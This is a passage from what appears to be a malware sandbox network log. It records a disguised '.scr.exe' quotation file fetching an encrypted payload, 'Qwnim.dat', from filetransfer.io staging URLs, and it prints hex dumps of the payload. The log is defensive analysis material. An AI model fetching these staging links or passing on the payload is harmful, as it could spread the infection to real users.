I{\%2$@3A{:]8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 66 68 ba e3 95 79 e1 88 c0 14 02 f8 75 24 d0 50 17 ce 42 84 b6 c1 af 80 b9 1d eb 54 7c 85 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 Data Ascii: fhyu$PBT\|u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmF
2024-10-04 09:25:34 UTC	1369	IN	Data Raw: 9f 80 4d 35 f4 50 29 6e ce f0 8e 4a 59 e2 e1 72 61 d1 32 0c 8d 14 f6 a2 7e 93 61 ac 3d b3 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e Data Ascii: M5P)nJYra2~a=$dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50231	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:36 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:37 UTC	1060	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=ejhh4odhdld2iucdi1o67o2bkk; expires=Fri, 18-Oct-2024 09:25:36 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/hCsyUwJb1Z1u cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=37jHe6dI5jqyYxqU6C2hlJlDR9XUzGbCf6FYF8ivkVu3YshbQUmmZF3XkShiuM3he3KaGTB73c1X12Hf563iHvU4M0LhqwgbspFjjTqMeeYc0uJbiCWhScsOQZwwGTauOh8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420278d7142e5-EWR
2024-10-04 09:25:37 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 68 43 73 79 55 77 4a 62 31 5a 31 75 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/hCsyUwJb1Z1u">Please click here to continue</a>.</p>
2024-10-04 09:25:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50232	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:37 UTC	98	OUT	GET /storage/download/hCsyUwJb1Z1u HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:38 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:38 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=74c13b369fb247621cc44ada7a62a13f; expires=Fri, 18-Oct-2024 09:25:38 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QU5tRVqi4SaSY27JdW5A815%2FDF6u3%2B4pE69Iq%2F2yJg31yp8DapvNT74iP69BknzBNku%2BBVnPAQZel0AAJSXmEiakoMVHSG90X7Up%2Fibf1eXLoYbKHFufxZKmyDC1vHgWL7Bmb9Ls"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd42030383342bb-EWR
2024-10-04 09:25:38 UTC	345	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da Data Ascii: K>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb Data Ascii: wH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 Data Ascii: Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a Data Ascii: Sv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 Data Ascii: ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:25:38 UTC	1369	IN	Data Raw: 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50236	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:41 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:42 UTC	1062	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=c746dpu36hdpb7tqht1qot027b; expires=Fri, 18-Oct-2024 09:25:41 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/h6my69Vdddiu cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=14tcR8JqtNdf4Tb4VuLyKEXZTqAIilan9kH9IujHNPdui8%2FBL3pvMPY1AMiLmME9TioQsqUnEPOg7YUpBEIgTXdR94sYz8jjtGMZSaDxzpWnalK61MVULJo53NRVmIna1ls%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420456dd77281-EWR
2024-10-04 09:25:42 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 68 36 6d 79 36 39 56 64 64 64 69 75 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/h6my69Vdddiu">Please click here to continue</a>.</p>
2024-10-04 09:25:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50237	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:42 UTC	98	OUT	GET /storage/download/h6my69Vdddiu HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:43 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:43 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=a80306524c00fd77d76cf441054194dc; expires=Fri, 18-Oct-2024 09:25:43 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RpKR8qsUGQ60wKE9pYzGGqS4NyF5FSju%2BUMu9MEWJIUdg5KSstRlwWWPV%2FVY07JBkRiQyw6UAwF1q2VJkcnCiqwkbuXnoO7dESVhovJVU6FpKtt%2F6M5yT1iRu2wr%2BH29DoW6IJSy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd4204d5c52435e-EWR
2024-10-04 09:25:43 UTC	347	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e Data Ascii: >g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^
